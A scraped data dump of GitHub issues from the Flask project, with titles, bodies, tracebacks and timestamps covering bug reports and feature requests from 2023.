    def get(self, args, uid):
        return (""The user page for user {uid}, showing {per_page} posts."").format(
            uid=uid, per_page=args[""per_page""]
        )

app.add_url_rule(""/user/<int:uid... [TRUNCATED]",,2023-07-15T22:43:55Z,2023-08-02T13:30:46Z,3
pallets/flask,1806354826,"Running tox -e style with docker causes ""An error has occurred: FatalError: git failed. Is it installed, and are you in a Git repository directory?""","Using the tox docker image to run the pre-commit check causes git error.

Steps to reproduce:

docker run -v `pwd`:/tests -it --rm 31z4/tox tox -e style


```
 ~/newgit/github/flask   main  docker run -v `pwd`:/tests -it --rm 31z4/tox tox -e style
style: commands[0]> pre-commit run --all-files
An error has occurred: FatalError: git failed. Is it installed, and are you in a Git repository directory?
Check the log at /home/tox/.cache/pre-commit/pre-commit.log
style: exit 1 (0.97 seconds) /tests> pre-commit run --all-files pid=15
  style: FAIL code 1 (1.11=setup[0.14]+cmd[0.97] seconds)
  evaluation failed :( (1.36 seconds)
 ✘  ~/newgit/github/flask   main 

```

log file Inside the container 
```


 tox@04e24a2a1e66:/tests$ cat  /home/tox/.cache/pre-commit/pre-commit.log
### version information

pre-commit version: 3.3.3
git --version: git version 2.34.1
sys.version:
    3.11.4 (main, Jun  7 2023, 12:45:48) [GCC 11.3.0]
sys.executable: /tests/.tox/style/bin/python
os.name: posix
sys.platform: linux

### error information

An error has occurred: FatalError: git failed. Is it installed, and are you in a Git repository directory?

Traceback (most recent call last):
  File ""/tests/.tox/style/lib/python3.11/site-packages/pre_commit/git.py"", line 58, in get_root
    cmd_output('git', 'rev-parse', '--show-cdup')[1].strip(),
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/tests/.tox/style/lib/python3.11/site-packages/pre_commi... [TRUNCATED]",,2023-07-15T22:29:08Z,2023-07-15T23:07:54Z,1
pallets/flask,1793088874,flask don't reload if a filename is changed.,Flask will reload if I change some lines in the file. But it won't reload if I changed a filename. ,,2023-07-07T08:44:41Z,2023-07-07T12:55:31Z,1
pallets/flask,1791823629,Flask server doesn't reload when templates modifies,"Flask server doesn't reload when templates modifies

First I created a Flask server with a virtual environment with venv  and I installed python-dotenv and libsass following the instructions of their respective official websites.

After that I created a package called 'store' in a folder with the same name.

Then I created a 'store/templates/home.html' and a 'store/static/scss/style.scss' 

All works right but I need to reload the browser manually every time I have to modify  either *.html or *.scss files of the templates.

I expected browser reloads automatically every time I need to modify a template or css style.

Environment & modules:
- Windows 10
- Git Bash terminal
- VS Code
- Chrome 114

- Python version: 3.10
- Flask version: 2.3.2
- python-dotenv 1.0.0
- libsass 0.22.0
",,2023-07-06T15:53:58Z,2023-07-06T16:04:29Z,3
pallets/flask,1788862998,Confusing usage of `app.json_provider_class` and `app.json`,"- Python version: 3.10.4
- Flask version: 2.3.2 

Recently I updated to Flask 2.3.2 and found that `JSONEncoder`  is removed, so I tried to find the new way to change the default json formatter. By searching the code, I found the class `DefaultJSONProvider` and wrote my own. And after I set `app.json_provider_class = CustomJsonProvider`, I found it does not work as expected. After a long time reading the source code and debugging, I realized that the `app.json` variable was not changed.

Just like what #5052 has discussed, I also think it's better to improve this API. Whether making `app.json_provider_class`  both `getter` and `setter` or making the API private might be better. I mean, not everyone will read the document of every framework, and when I want to modify the json formatter, I would like to just type `app.json` and see what the IDE will show.  Moreover, when using flask, it's rarely to see someone extends the class `Flask` to reset the `json_provider_class`, they just change the property of the global variable `app` instead.

If needed, I'm glad to PR.

",,2023-07-05T06:29:44Z,2023-07-05T12:47:50Z,1
pallets/flask,1781902065,Uberweb: An idea for flask web-app generator,"Hello, there!
Thank you for this great project.

I've an idea for flask project : A Flask Web-app generator, just for fun ! (Like 'Django', 'Express.js', or something these)
It's call 'Uberweb'.
For more information, you can visit its git repository -> [UberWeb](https://github.com/Paradoxer32/uberweb)
Tell me your ideas about that.
If you liked, develop it or introduce it in flask docs !

Have a nice time !
-Ahoora",,2023-06-30T05:03:12Z,2023-06-30T13:13:39Z,1
pallets/flask,1775976378,"Seemingly Flask ""cached"" HTML page never loads updated version -- not using Flask Cache (or any cache)","I've got an HTML file being served from Flask as an iframe that is set to reload every 3 seconds. This is because I modify the file externally to Flask, but from the same python file that initiates Flask. I had what I thought was a great working program. I've finally squashed every bug and undesired function in my code that I've come across, so I figured lets make sure it works without debug mode. I turned it off, and started to use the program. Everything seemed ok for a little while, so I promptly forgot that it was no longer in debug mode. Then I started noticing strange things. Certain functions were being called via manual browser reloads that had not been previously called due to browser reloads. Then the big one: Somewhere, Flask has an undocumented cache. That file that reloads every 3 seconds keeps loading the same version of the file despite being changed. The file that I can open and inspect on my computer shows the expected changes to the file. The file that Flask sends to my browser does not. I tried other browsers. I cleared browser and Windows caches. I tried changes to the code. I tried restarting the program. I tried closing the command line. I googled, I overflowed my stacks. I checked my system processes for multiple copies of Python and flask running when I thought they were closed, etc. Nothing. I go back to debug mode and suddenly, it works again.

TLDR; Flask serves old versions of updated HTML files repeatedly if debug mode is turned off. No amount o... [TRUNCATED]",,2023-06-27T02:27:28Z,2023-06-27T02:35:54Z,0
pallets/flask,1770498183,make_response(…) won't accept a MappingProxyType object as a view's return-value,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

# `make_response(…)` Won't Accept a `MappingProxyType` Object As a View's Return-Value

# Replicative Demonstration

## app.py

```python
from types import MappingProxyType

from flask import Flask

app = Flask(__name__)

response_body_dict         = dict(            { 'spam': 'eggs' })
response_body_mappingproxy = MappingProxyType({ 'spam': 'eggs' })

assert response_body_dict == response_body_mappingproxy

@app.route(""/with-dict"")
def with_dict():
    return response_body_dict

@app.route(""/with-mappingproxytype"")
def with_mappingproxytype():
    return response_body_mappingproxy
```

## Shell (*Tab A*)

```bash
flask --debug run
```

## Shell (*Tab B*)

```bash
$ curl localhost:5000/with-dict
{
  ""spam"": ""eggs""
}
```

```bash
$ curl localhost:5000/with-mappingproxytype

Traceback (most recent call last):
  File ""/home/j/.local/share/virtualenvs/flask-mappingproxy-814v2y5D/lib/python3.11/site-packages/flask/app.py"", line 2213, in __call__
    return self.wsgi_app(environ, start_response)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/home/j/.local/share/virtualenvs/flask-mappingproxy-814v2y5D/lib/python3.11/site-packages/flask/app.py"", line 2193, in wsgi_app
    response = self.handle_exception(... [TRUNCATED]",,2023-06-22T22:58:50Z,2023-06-23T00:03:03Z,1
pallets/flask,1767123391,usage of sqlalchemy in patterns documentation,"If you are using SQLAlchemy version 2.0.0 or above and are following the Flask documentation on creating a base class for models using the `declarative_base()` function, you should be aware that this function is now deprecated and will be removed in a future release.

To address this issue, you can replace the use of `declarative_base()` with the new `orm.declarative_base()` function, which is available in SQLAlchemy 2.0.0 and above. This new function provides the same functionality as the old `declarative_base()` function but is not deprecated.

alert of SQLAlchemy:
`MovedIn20Warning: The ``declarative_base()`` function is now available as sqlalchemy.orm.declarative_base(). (deprecated since: 2.0) (Background on SQLAlchemy 2.0 at: https://sqlalche.me/e/b8d9)
`


Environment:
- Python version: 3.10.6
- Flask version: 2.3.2
- SQLAlchemy: 2.0.16
",,2023-06-21T09:00:53Z,2023-06-21T16:32:49Z,1
pallets/flask,1766078042,Flask not handling POST data in some circumstances,"I am trying to use Flask as a lightweight webserver to accept data from a WiFi-enabled weather station, which makes an HTTP POST request every 60 seconds. I captured the request using an http echo server:

```json
{
    ""path"": ""/report"",
    ""headers"": {
        ""host"": ""192.168.0.65"",
        ""connection"": ""Close"",
        ""content-type"": ""application/x-www-form-urlencoded"",
        ""content-length"": ""493""
    },
    ""method"": ""POST"",
    ""body"": ""PASSKEY=573AF40DB42C66057D20631F706CD585&stationtype=EasyWeatherPro_V5.1.1&runtime=1&dateutc=2023-06-20+14:56:02&tempinf=73.4&humidityin=49&baromrelin=29.917&baromabsin=29.536&tempf=72.5&humidity=58&winddir=251&windspeedmph=1.12&windgustmph=2.24&maxdailygust=9.17&solarradiation=293.99&uv=2&rainratein=0.000&eventrainin=0.638&hourlyrainin=0.000&dailyrainin=0.638&weeklyrainin=0.650&monthlyrainin=0.650&yearlyrainin=0.650&totalrainin=0.650&wh65batt=0&freq=868M&model=WS2900_V2.01.18&interval=60"",
    ""fresh"": false,
    ""hostname"": ""192.168.0.65"",
    ""ip"": ""::ffff:10.1.199.64"",
    ""ips"": [],
    ""protocol"": ""http"",
    ""query"": {},
    ""subdomains"": [],
    ""xhr"": false,
    ""os"": {
        ""hostname"": ""http-webhook-6675856576-j2jzb""
    },
    ""connection"": {}
}
```

I made a `curl` command so I could simulate these POST requests for development & testing:

```
curl -d ""PASSKEY=573AF40DB42C66057D20631F706CD585&stationtype=EasyWeatherPro_V5.1.1&runtime=1&dateutc=2023-06-20+14:56:02&tempinf=73.4&humidityi... [TRUNCATED]",,2023-06-20T20:07:52Z,2023-06-20T20:32:57Z,2
pallets/flask,1759182411,Blueprint before_app_first_request vs record_once usage discrepancy,"I'm working on upgrading from Flask 2.2.x to 2.3.x and I use the .before_app_first_request decorator in one of my blueprints. Following the deprecation warning, I replaced .before_app_first_request with .record_once and it was not a drop-in replacement. Not sure if this an issue in code implementation or unclear documentation.

```
from flask import Blueprint, Flask, current_app

blueprint = Blueprint('my_blueprint', __name__)
@blueprint.before_app_first_request
def my_test_function():
    current_app.logger.info('testing')

app = Flask(__name__)
app.register_blueprint(blueprint)
app.run()
```

replace .before_app_first_request with .record_once and it will no longer run

Environment:

- Python version: 3.10.11
- Flask version: 2.2.2
",,2023-06-15T16:27:12Z,2023-06-15T16:42:46Z,0
pallets/flask,1755973716,"Config.from_file() feeds descriptor, not string to tomllib.loads()","**outline of what the bug is:**

https://github.com/pallets/flask/blob/main/src/flask/config.py#L236 

...has us loading from a .toml file path

**Describe how to replicate the bug.**

https://docs.python.org/3/library/tomllib.html provides `load()` for `rb` files, and `loads()` for .toml strings.

**Describe the expected behavior that should have happened but didn't.**

To get to desired behavior, I added another function to read in the .toml and provide it to tomllib.loads()

```
import tomllib
from flask import Flask


def tomllib_loads(fp):
    return tomllib.loads(fp.read())


def create_app(config_filename):
    app = Flask(__name__)
    app.config.from_file(config_filename, load=tomllib_loads, silent=False, text=True)

    @app.route(""/hello"")
    def hello():
        return ""Hello, World!""

    return app

```

Environment:

- Python version: 3.11.3
- Flask version: 2.3.2
",,2023-06-14T03:13:23Z,2023-06-14T03:29:59Z,3
pallets/flask,1749664804,Switch to importlib breaks scripts with `app.run()`,"With a trivial script [using `app.run()`](https://flask.palletsprojects.com/en/2.3.x/server/#in-code) such as:

```python3
from flask import Flask

app = Flask(__name__)

if __name__ == ""__main__"":
    app.run(debug=True)
```

The current git `main` breaks with:

```pytb
Traceback (most recent call last):
  File ""/home/florian/tmp/flask/app.py"", line 3, in <module>
    app = Flask(__name__)
          ^^^^^^^^^^^^^^^
  File ""/home/florian/tmp/flask/src/flask/app.py"", line 376, in __init__
    instance_path = self.auto_find_instance_path()
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/home/florian/tmp/flask/src/flask/app.py"", line 630, in auto_find_instance_path
    prefix, package_path = find_package(self.import_name)
                           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/home/florian/tmp/flask/src/flask/scaffold.py"", line 898, in find_package
    package_path = _find_package_path(import_name)
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/home/florian/tmp/flask/src/flask/scaffold.py"", line 858, in _find_package_path
    spec = importlib.util.find_spec(root_mod_name)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""<frozen importlib.util>"", line 114, in find_spec
ValueError: __main__.__spec__ is None
```

This seems to be a regression due to 84e11a1e827c0f55f9b9ee15952eddcf8a6492e0 from #5157.

Environment:

- Python version: 3.11.4
- Flask version: git main
",,2023-06-09T10:56:29Z,2023-06-09T16:39:05Z,3
pallets/flask,1746137437,FLASK_APP is unavailable when FlaskGroup is not used,"When cli group created with [flask.cli.AppGroup](https://github.com/pallets/flask/blob/main/src/flask/cli.py#L362) and returned to cli instead of default [flask.cli.FlaskGroup](https://github.com/pallets/flask/blob/main/src/flask/cli.py#L481) [flask.cli.ScriptInfo](https://github.com/pallets/flask/blob/main/src/flask/cli.py#L266) failing to locate application with `FLASK_APP` environment variable with this error message:
```
Error: Could not locate a Flask application. Use the 'flask --app' option, 'FLASK_APP' environment variable, or a 'wsgi.py' or 'app.py' file in the current directory.
```

Here is a simple example of executable file `main.py`:
```python
#!/usr/bin/env python
from os import environ

import click
from flask import Flask
from flask.cli import AppGroup

cli = AppGroup(""main"")


@cli.command()
def test():
    click.echo(""Test command"")


def create_app() -> Flask:
    app = Flask(__name__)
    app.cli.add_command(cli)
    return app


if __name__ == ""__main__"":
    environ.setdefault(""FLASK_APP"", ""main:create_app"")
    cli()
```

If run this file with flask<2.2.0:
```
$ ./main.py test
Test command
```
And with flask>=2.2.0:
```
$ ./main.py test
Usage: main.py test [OPTIONS]
Try 'main.py test --help' for help.

Error: Could not locate a Flask application. Use the 'flask --app' option, 'FLASK_APP' environment variable, or a 'wsgi.py' or 'app.py' file in the current directory.
```

I think this error is caused by [th... [TRUNCATED]",,2023-06-07T15:12:51Z,2023-06-07T15:55:02Z,4
pallets/flask,1730155638,Python3.12.0b1 test_max_cookie_size error,"`test_max_cookie_size` fails with python3.12, see the following error:
```
====================================================== FAILURES =======================================================
________________________________________________ test_max_cookie_size _________________________________________________

app = <Flask 'flask_test'>, client = <FlaskClient <Flask 'flask_test'>>, recwarn = WarningsRecorder(record=True)

    def test_max_cookie_size(app, client, recwarn):
        app.config[""MAX_COOKIE_SIZE""] = 100

        # outside app context, default to Werkzeug static value,
        # which is also the default config
        response = flask.Response()
        default = flask.Flask.default_config[""MAX_COOKIE_SIZE""]
        assert response.max_cookie_size == default

        # inside app context, use app config
        with app.app_context():
            assert flask.Response().max_cookie_size == 100

        @app.route(""/"")
        def index():
            r = flask.Response("""", status=204)
            r.set_cookie(""foo"", ""bar"" * 100)
            return r

        client.get(""/"")
        for w in recwarn:
            print('---')
            print(w.message)
>       assert len(recwarn) == 1
E       assert 4 == 1
E        +  where 4 = len(WarningsRecorder(record=True))

app        = <Flask 'flask_test'>
client     = <FlaskClient <Flask 'flask_test'>>
default    = 4093
index      = <function test_max_cookie_size.<locals>.index at 0... [TRUNCATED]",,2023-05-29T06:22:59Z,2023-05-29T06:30:30Z,1
pallets/flask,1723540603,config from datafile docs,"There is a small discrepancy in the docs related to configuration from datafiles.  

See [Config Docs](https://flask.palletsprojects.com/en/2.3.x/config/#configuring-from-data-files)
and [from_file API](https://flask.palletsprojects.com/en/2.3.x/api/#flask.Config.from_file)

In order to keep consistency and minimize confusion, it should be similar. ",,2023-05-24T09:20:22Z,2023-05-24T18:18:22Z,2
pallets/flask,1723206985,Unexpected HTML in JSON,"I work with a class like this:

```python
class Reference:
    def __init__(self, url):
        self.url = url

    def __str__(self):
        return self.url

    def __html__(self):
        markup = Markup('<a href=""%s"" class=""ref"">%s</a>')
        return markup % (self.url, self.url)
```

This works well when I use this in a HTML template. However, when I include such an object in a JSON response, I get the HTML markup instead of the string version. I can think of very few cases in which that is useful.

This is a minor inconvenience because I can manually convert the object to a string before including it in the JSON response. But still, maybe this could be improved. I can think of different options:

- Do not use `__html__()` in jsonify
- Use `__str__()` in jsonify, with a higher priority than `__html__()`
- Use a new method `__json__()` in jsonify, with highest priority

The last option has the benefit of being backwards-compatible.",,2023-05-24T05:38:04Z,2023-05-24T18:16:14Z,1
pallets/flask,1715546976,Wrong syntax in JavaScript patterns documentation,"In the section *Making a Request with fetch* the syntax of the `FormData.append` command is wrong:

https://github.com/pallets/flask/blob/d0bf462866289ad8bfe29b6e4e1e0f531003ab34/docs/patterns/javascript.rst?plain=1#L128-L129

See [`FormData.append` syntax on MDN](https://developer.mozilla.org/en-US/docs/Web/API/FormData/append#syntax).

Environment:

- Python version: all
- Flask version: 2.3.x
",,2023-05-18T12:23:14Z,2023-05-18T12:35:39Z,0
pallets/flask,1714920582,Accept the same arguments as dict constructor for template rendering functions,"The template rendering functions currently only accept named arguments to build the context dictionary passed to `jinja2.Template.render()`. While unpacking is easy enough, it would be nice to be able to use the same arguments as the dict constructor (like how [Jinja's render function works](https://jinja.palletsprojects.com/en/3.1.x/api/#jinja2.Template.render)).

Examples:
```
flask.render_template(""index.html"", {""greeting"": ""Hello"", ""name"": ""World""})
flask.render_template(""index.html"", {""greeting"": ""Hello""}, name=""World"")
```

I'll link a PR in case this is something people would like.
",,2023-05-18T03:21:35Z,2023-05-18T14:12:11Z,1
pallets/flask,1714044011,"After switching to latest flask, app timeouts on some requests","When I wanted to upgrade from 2.2.x to 2.3.x I encountered problem with timeouts on some requests, without any error log about it.

Any ideas please ? What can cause it?

- Python version: 3.10
- Flask version: 2.3.2
- gunicorn: 20.1.0
- gevent: 22.10.2
- nginx: 1.18.0",,2023-05-17T14:30:07Z,2023-05-17T14:38:36Z,0
pallets/flask,1707372204,AttributeError: 'Flask' object has no attribute 'before_first_request',"When I run code in [deepzoom](https://github.com/openslide/openslide-python/blob/main/examples/deepzoom/deepzoom_multiserver.py), it gives me **AttributeError: 'Flask' object has no attribute 'before_first_request'**
<img width=""659"" alt=""截屏2023-05-12 18 25 03"" src=""https://github.com/pallets/flask/assets/48406770/fa211b95-b545-4fa0-be8b-94c8b98a85c8"">
I don't known anything about flask. I'm just a student who want to view the image.
Can I replace this line with something simple?",,2023-05-12T10:25:19Z,2023-05-12T11:03:11Z,5
pallets/flask,1701771655,Flask 2.3.2 is not compatible with Flassger,"Flask 2.3.2 is not compatible with Flassger

Description:
After upgrading Flask to latest version we are getting below error.

```
from flasgger import Swagger
  File ""C:\Python310\lib\site-packages\flasgger\__init__.py"", line 10, in <module>
    from .base import Swagger, Flasgger, NO_SANITIZER, BR_SANITIZER, MK_SANITIZER, LazyJSONEncoder  # noqa
  File ""C:\Python310\lib\site-packages\flasgger\base.py"", line 28, in <module>
    from flask.json import JSONEncoder
ImportError: cannot import name 'JSONEncoder' from 'flask.json' (C:\Python310\lib\site-packages\flask\json\__init__.py)
```

After downgrading flask to 2.2.3, it works again!

Environment:

- Python version: 3.10.10
- Flask version: 2.3.2
- Flassger: Latest
",,2023-05-09T10:04:25Z,2023-05-09T10:06:20Z,1
pallets/flask,1699025549,Cyclomatic complexity improvements,"Hi, 

I found this hammer called ""cyclomatic complexity"" and a tool ""radon"" on pypi and I built my own tool on top of it. Now I'm looking for nails. In short it's a method to evaluate code quality and I could make small improvements to the code?

E.g. 
https://github.com/pallets/flask/blob/main/src/flask/app.py#L867

turning
```
if not host:
    if sn_host:
        host = sn_host
    else:
        host = ""127.0.0.1""

if port or port == 0:
    port = int(port)
elif sn_port:
    port = int(sn_port)
else:
    port = 5000
```
into small functions like this 
```
def decide_on_default_host(self, host, sn_host)
    if not host:
        if sn_host:
            host = sn_host
        else:
            host = ""127.0.0.1""
        return host

def decide_on_default_port(self, port, sn_port)
    if port or port == 0:
        port = int(port)
    elif sn_port:
        port = int(sn_port)
    else:
        port = 5000
    return port
```
and then using them in place of the old blocks.

Here are some links:
https://pypi.org/project/radon/
https://radon.readthedocs.io/en/latest/commandline.html#the-cc-command
https://en.wikipedia.org/wiki/Cyclomatic_complexity


An example of the problem which this feature
would resolve. Is this problem solvable without changes to Flask, such
as by subclassing or using an extension?


It's not a defect or shortcoming, Flask does not ""need"" changing. The aim is to make the source easier to read, that's all.... [TRUNCATED]",,2023-05-07T11:41:49Z,2023-05-07T14:36:54Z,1
pallets/flask,1698732374,`config.from_file` can't read arbitrary toml structures,"I like to use groups on my toml file to organize code. But flask does not seem to understand this. It will simply create config like this:

```
config = {
   'flask': { 'debug': True, 'SECRET_KEY': ''}
}
```


```
[flask]
DEBUG = true
SECRET_KEY = """"

[database]
SQLALCHEMY_DATABASE_URI = 'sqlite:///db.sqlite'
SQLALCHEMY_BINDS = {}
SQLALCHEMY_TRACK_MODIFICATIONS = false
```


Can we add an argument on the `from_file` method so that I do not have to do any manual modification of my toml files, or any manual modification after loading from the toml file in my python code? I should not have to do this. This seems like a bug. 

",,2023-05-06T18:38:59Z,2023-05-07T20:58:06Z,5
pallets/flask,1697063645,A Mojo compatible version of Flask,"Hi all!

In case you haven't heard about it, a company called Modular is developing a superset for Python which adds types, low level stuff, and other awesome features. The name of this superset is [Mojo](https://www.modular.com/mojo). 

I think a version of the Flask framework with strong types would benefit developers and the framework maybe would get more adopters because of the types.

_Of course this is just an idea and I'm aware of how big of a challange it would be to write and maintain a seperate version (though you could also just update the original code but that would lead to compatibility issues)._

What do you think?",,2023-05-05T06:08:42Z,2023-05-05T12:58:58Z,0
pallets/flask,1695714170,Uploading a file adds blank line at top of the file.,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->
When uploading or saving a file, a empty line is added at the top of the file.

Version impacted : at least 2.2.5

Working version : 2.2.2

## Reproduction :

```python
@app.route(""/"", methods=[""POST""])
def upload_files():
    for file in request.files.getlist(""files""):
        filepath = os.path.join(app.config.get(""UPLOAD_FOLDER""), secure_filename(file.filename))
        file.save(filepath) 
```
### Current behavior :

The file has a blank line at the top (new line)

### Expected behavior :

The file is uploaded as is. (Working as expected on 2.2.2)

Environment:

- Python version: 3.10.11
- Flask version: 2.2.5
",,2023-05-04T10:15:26Z,2023-05-04T12:47:40Z,2
pallets/flask,1692375991,`session_transaction` fails because it's calling `_update_cookies_from_response` with missing arg `headers`,"I'm re-creating the bug using flask and pytest.

## tests/test_session_tx.py

```py
import flask


def test_session_tx():
    app = flask.Flask(""test"")
    app.config[""SECRET_KEY""] = ""foo""
    client = app.test_client()
    with client.session_transaction() as session:
        session[""bar""] = ""baz""
```

- install flask, pytest: `pip install flask==2.2.4 pytest`
- run `pytest tests/test_session_tx.py`

```
        if hasattr(self, ""_update_cookies_from_response""):
>           self._update_cookies_from_response(
                ctx.request.host.partition("":"")[0], resp.headers.getlist(""Set-Cookie"")
            )
E           TypeError: Client._update_cookies_from_response() missing 1 required positional argument: 'headers'

venv/lib/python3.11/site-packages/flask/testing.py:171: TypeError
```

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version: 3.11.2
- Werkzeug version: 2.3.3
- Flask: 2.2.4
",,2023-05-02T10:52:38Z,2023-05-02T14:13:07Z,2
pallets/flask,1691049494,Cookie Expiry not working with Werkzeug upgrade,"This looks like a regression in session expiry during testing I'm getting trying to upgrade Werkzeug to the latest version. But, I'm not sure which library to report between flask-login, werkzeug and flask. Happy to repost or restructure!

I'm overriding session expiry to set a cookie with custom expiry times. My test for this broke although my manual testing seems to work fine. So, I simplified my code to build this small minimal working example. If Werkzeug is `2.3.2` the session won't be expired despite being in the past. If I downgrade back to `2.2.2` the test will pass showing the cookie is being rejected.


main.py
```python
from datetime import datetime

from flask import Flask, jsonify
from flask.sessions import SecureCookieSessionInterface, SessionMixin
from flask_login import LoginManager, UserMixin, login_required, login_user


class CustomSessionInterface(SecureCookieSessionInterface):
    def get_expiration_time(
        self, app: ""Flask"", session: SessionMixin
    ) -> datetime | None:
        return datetime(2001, 1, 1, 12, 0, 0)


app = Flask(__name__)
login_manager = LoginManager(app=app)

app.config[""SERVER_NAME""] = ""test.fakedomain""
app.config[""DEBUG""] = True
app.config[""PROPAGATE_EXCEPTIONS""] = True
app.config[""SECRET_KEY""] = ""mysecretkey""
app.session_interface = CustomSessionInterface()


class User(UserMixin):
    def __init__(self, id):
        self.id = id

    def is_active(self):
        return True


@login_ma... [TRUNCATED]",,2023-05-01T16:46:39Z,2023-05-01T17:12:15Z,2
pallets/flask,1686787386,Blueprint route changes mimetype from 'multipart/form-data' to 'application/x-www-form-urlencoded',"No sure if a bug, but I couldn't find anywhere else the reason for this behaviour of Blueprints.

When send the same `multipart/form-data` request to `/foo` and `/bar` bellow, I get different mimetypes:

```python
# app.py

from flask import Flask
from foo_bp import foo_bp

app = Flask(__name__)

app.register_blueprint(foo_bp)

@app.route(""/bar"", methods=[""POST""])
def bar():
    print(request.mimetype) # =>  multipart/form-data
```

```python
# foo_bp.py

from flask import Blueprint

foo_bp = Blueprint(""foo_bp"", __name__, url_prefix=""/foo"")

@foo_bp.route(""/"", methods=[""POST""])
def foo():
    print(request.mimetype) # => application/x-www-form-urlencoded
```

For `/foo` (a Blueprint) I get `application/x-www-form-urlencoded` while for `/bar` I get the expected `multipart/form-data`.

Also, `request.files` in the Blueprint has an empty list.

Am I missing something? Thank you in advance.

Environment:

- Python version: 3.10.11
- Flask version: 2.2.3
",,2023-04-27T12:49:09Z,2023-04-27T13:01:18Z,0
pallets/flask,1685337135,module  'flask.json' has no attribute 'JSONEncoder',"I use connexion ver 2.14.2 which imports flask. Today my docker build picked up a new Flask version 2.3.1 and the tox tests fail.  I get similar results on startup when using Flask versions 2.3.0 and 2.3.1:
```
our_module/__init__.py:9: in <module>
    import connexion
.tox/code/lib/python3.9/site-packages/connexion/__init__.py:32: in <module>
    from .apps.flask_app import FlaskApp
.tox/code/lib/python3.9/site-packages/connexion/apps/flask_app.py:151: in <module>
    class FlaskJSONEncoder(json.JSONEncoder):
E   AttributeError: module 'flask.json' has no attribute 'JSONEncoder'
```

When I pinned Flask to version 2.2.4 it works fine. Of course this could be a problem over in *connexion*, or something I need to do differently to use the latest Flask. I'll go re-re-recheck your release notes. 

Please comment, thanks in advance!

Environment:

- Python version: 3.9
- Flask version: 2.2.4 is ok, 
",,2023-04-26T16:19:04Z,2023-04-26T16:22:33Z,3
pallets/flask,1684196052,python3.7 flask2.2.3 webapi can be connected by Postman and browser but not c# Net6 HttpClient.PostAsync,"Hi, 
I build a very simple web api by flask2.2.3 using python3.7.
I can use Postman and browser to connect this webapi but not working in c# Net6 by HttpClient.PostAsync.
Please help me to pass this error.
Thank you.



error message in c#:
****************************
{System.Net.Sockets.SocketException (111): Connection refused
   at System.Net.Sockets.Socket.AwaitableSocketAsyncEventArgs.ThrowException(SocketError error, CancellationToken cancellationToken)
   at System.Net.Sockets.Socket.AwaitableSocketAsyncEventArgs.System.Threading.Tasks.Sources.IValueTaskSource.GetResult(Int16 token)
   at System.Net.Sockets.Socket.<ConnectAsync>g__WaitForConnectWithCancellation|277_0(AwaitableSocketAsyncEventArgs saea, ValueTask connectTask, CancellationToken cancellationToken)
   at System.Net.Http.HttpConnectionPool.ConnectToTcpHostAsync(String host, Int32 port, HttpRequestMessage initialRequest, Boolean async, CancellationToken cancellationToken)}
*****************************


here is the code:
*****************************
from flask import Flask, jsonify, redirect, url_for, render_template,request, Response
import json
from flask_cors import CORS

app = Flask(__name__)
CORS(app)

@app.route('/qryData/', methods=['POST', 'GET'])
def qryData():

    return jsonify(True);


if __name__ == '__main__':
    app.run(host='0.0.0.0',port=58080,debug=True)   

*****************************



Thanks for your help.",,2023-04-26T03:15:20Z,2023-04-26T03:36:57Z,0
pallets/flask,1683898445,ImportError: cannot import name 'Markup' from 'flask',"I want to start by apologizing in advance if I make any mistakes in this bug report, I'm new to development and any mistakes are unintentional. That being said I appreciate any input as to how I can improve.

# The issue: #
Creating a class that inherits from FlaskForm causes an error with the following traceback
```
Error: While importing 'app', an ImportError was raised:

Traceback (most recent call last):
  File ""/home/rburd/.local/share/virtualenvs/d5-9RMvys9g/lib/python3.11/site-packages/flask/cli.py"", line 218, in locate_app
    __import__(module_name)
  File ""/home/rburd/academy/Mod-6/w18/d5/app/__init__.py"", line 2, in <module>
    from .form import Tweet
  File ""/home/rburd/academy/Mod-6/w18/d5/app/form.py"", line 1, in <module>
    from flask_wtf import FlaskForm
  File ""/home/rburd/.local/share/virtualenvs/d5-9RMvys9g/lib/python3.11/site-packages/flask_wtf/__init__.py"", line 4, in <module>
    from .recaptcha import Recaptcha
  File ""/home/rburd/.local/share/virtualenvs/d5-9RMvys9g/lib/python3.11/site-packages/flask_wtf/recaptcha/__init__.py"", line 1, in <module>
    from .fields import RecaptchaField
  File ""/home/rburd/.local/share/virtualenvs/d5-9RMvys9g/lib/python3.11/site-packages/flask_wtf/recaptcha/fields.py"", line 3, in <module>
    from . import widgets
  File ""/home/rburd/.local/share/virtualenvs/d5-9RMvys9g/lib/python3.11/site-packages/flask_wtf/recaptcha/widgets.py"", line 2, in <module>
    from flask import Markup
ImportError: cann... [TRUNCATED]",,2023-04-25T21:28:05Z,2023-04-25T21:38:11Z,1
pallets/flask,1683880442,ImportError: cannot import name 'Markup' from 'flask',"First I want to apologize if I've done anything wrong with this bug report, I'm still new to development and any mistakes made are unintentional.
<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version: 3.11.3
- Flask version: 2.3.0
",,2023-04-25T21:13:43Z,2023-04-25T21:13:51Z,1
pallets/flask,1683709619,Cannot import Markup from flask,"`from flask import Markup` and `flask.Markup` both don’t work. This is merely supposed to be deprecated, not broken, in Flask 2.3.0.

Example A:
```python
import flask

print(flask.Markup('hi'))
```
```
Traceback (most recent call last):
  File ""/tmp/flask230/1.py"", line 3, in <module>
    print(flask.Markup('hi'))
  File ""/tmp/flask230/venv/lib/python3.10/site-packages/flask/__init__.py"", line 102, in __getattr__
    raise AttributeError(name)
AttributeError: Markup
```

Example B:
```python
from flask import Markup

print(Markup('hi'))
```
```
Traceback (most recent call last):
